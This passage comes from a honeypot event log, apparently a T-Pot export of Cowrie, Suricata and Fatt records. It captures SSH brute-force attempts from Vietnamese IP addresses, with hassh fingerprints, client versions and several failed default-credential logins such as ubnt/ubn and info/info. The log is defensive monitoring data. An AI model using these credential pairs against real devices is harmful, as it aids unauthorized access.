"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23754	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.850301+03	2021-09-20 14:15:07.916471+03	{"_id": "gwbkAnwBvYTbRNuEAQ9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ubnt/ubn] failed", "session": "aa7d3cfaccd7", "@version": "1", "password": "ubn", "username": "ubnt", "timestamp": "2021-09-20T11:07:48.850301Z", "@timestamp": "2021-09-20T11:07:48.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23755	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:48.957094+03	2021-09-20 14:15:07.917471+03	{"_id": "hAbkAnwBvYTbRNuEAQ9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "bc8abe3e5bc5", "@version": "1", "duration": 5.211142301559448, "timestamp": "2021-09-20T11:07:48.957094Z", "@timestamp": "2021-09-20T11:07:48.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23756	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.1107+03	2021-09-20 14:15:07.918471+03	{"_id": "hQbkAnwBvYTbRNuEAQ9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "103bdacf082c", "@version": "1", "timestamp": "2021-09-20T11:07:49.110700Z", "@timestamp": "2021-09-20T11:07:49.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23757	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:49.121545+03	2021-09-20 14:15:07.92047+03	{"_id": "hgbkAnwBvYTbRNuEAw-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 189609577583467, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60354, "dest_port": 22, "timestamp": "2021-09-20T11:07:49.121545Z", "@timestamp": "2021-09-20T11:07:49.121Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23758	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:49.106285+03	2021-09-20 14:15:07.921471+03	{"_id": "igbkAnwBvYTbRNuEBA-Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46596, "dest_port": 22, "timestamp": "2021-09-20T11:07:49.106285", "@timestamp": "2021-09-20T11:07:49.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23759	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:49.444893+03	2021-09-20 14:15:07.92247+03	{"_id": "mwbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [upport/support] failed", "session": "725d61c226c3", "@version": "1", "password": "support", "username": "upport", "timestamp": "2021-09-20T11:07:49.444893Z", "@timestamp": "2021-09-20T11:07:49.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23760	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:49.636282+03	2021-09-20 14:15:07.92347+03	{"_id": "nAbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "0d49933d856e", "@version": "1", "duration": 10.354194641113281, "timestamp": "2021-09-20T11:07:49.636282Z", "@timestamp": "2021-09-20T11:07:49.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23762	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:49.820168+03	2021-09-20 14:15:07.92547+03	{"_id": "ngbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [info/info] failed", "session": "8374cd710309", "@version": "1", "password": "info", "username": "info", "timestamp": "2021-09-20T11:07:49.820168Z", "@timestamp": "2021-09-20T11:07:49.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23763	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.830268+03	2021-09-20 14:15:07.927471+03	{"_id": "nwbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [ino/ino] failed", "session": "551fb0376fed", "@version": "1", "password": "ino", "username": "ino", "timestamp": "2021-09-20T11:07:49.830268Z", "@timestamp": "2021-09-20T11:07:49.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23764	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.133992+03	2021-09-20 14:15:07.92847+03	{"_id": "oAbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "aa7d3cfaccd7", "@version": "1", "duration": 2.4207823276519775, "timestamp": "2021-09-20T11:07:50.133992Z", "@timestamp": "2021-09-20T11:07:50.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23765	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.831524+03	2021-09-20 14:15:07.929472+03	{"_id": "lAbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ddc5a511750a", "@version": "1", "duration": 2.464449405670166, "timestamp": "2021-09-20T11:07:49.831524Z", "@timestamp": "2021-09-20T11:07:49.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23766	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.976141+03	2021-09-20 14:15:07.930472+03	{"_id": "lQbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a55e182cb990", "@version": "1", "duration": 2.4757397174835205, "timestamp": "2021-09-20T11:07:49.976141Z", "@timestamp": "2021-09-20T11:07:49.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23767	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.133092+03	2021-09-20 14:15:07.931472+03	{"_id": "lgbkAnwBvYTbRNuEBQ86", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5aef5ee0c8e4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:50.133092Z", "@timestamp": "2021-09-20T11:07:50.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23768	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:50.410807+03	2021-09-20 14:15:07.932471+03	{"_id": "oQbkAnwBvYTbRNuEBw-g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 148788061008213, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49828, "dest_port": 22, "timestamp": "2021-09-20T11:07:50.410807Z", "@timestamp": "2021-09-20T11:07:50.410Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23769	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:50.891297+03	2021-09-20 14:15:07.93447+03	{"_id": "owbkAnwBvYTbRNuECA-C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 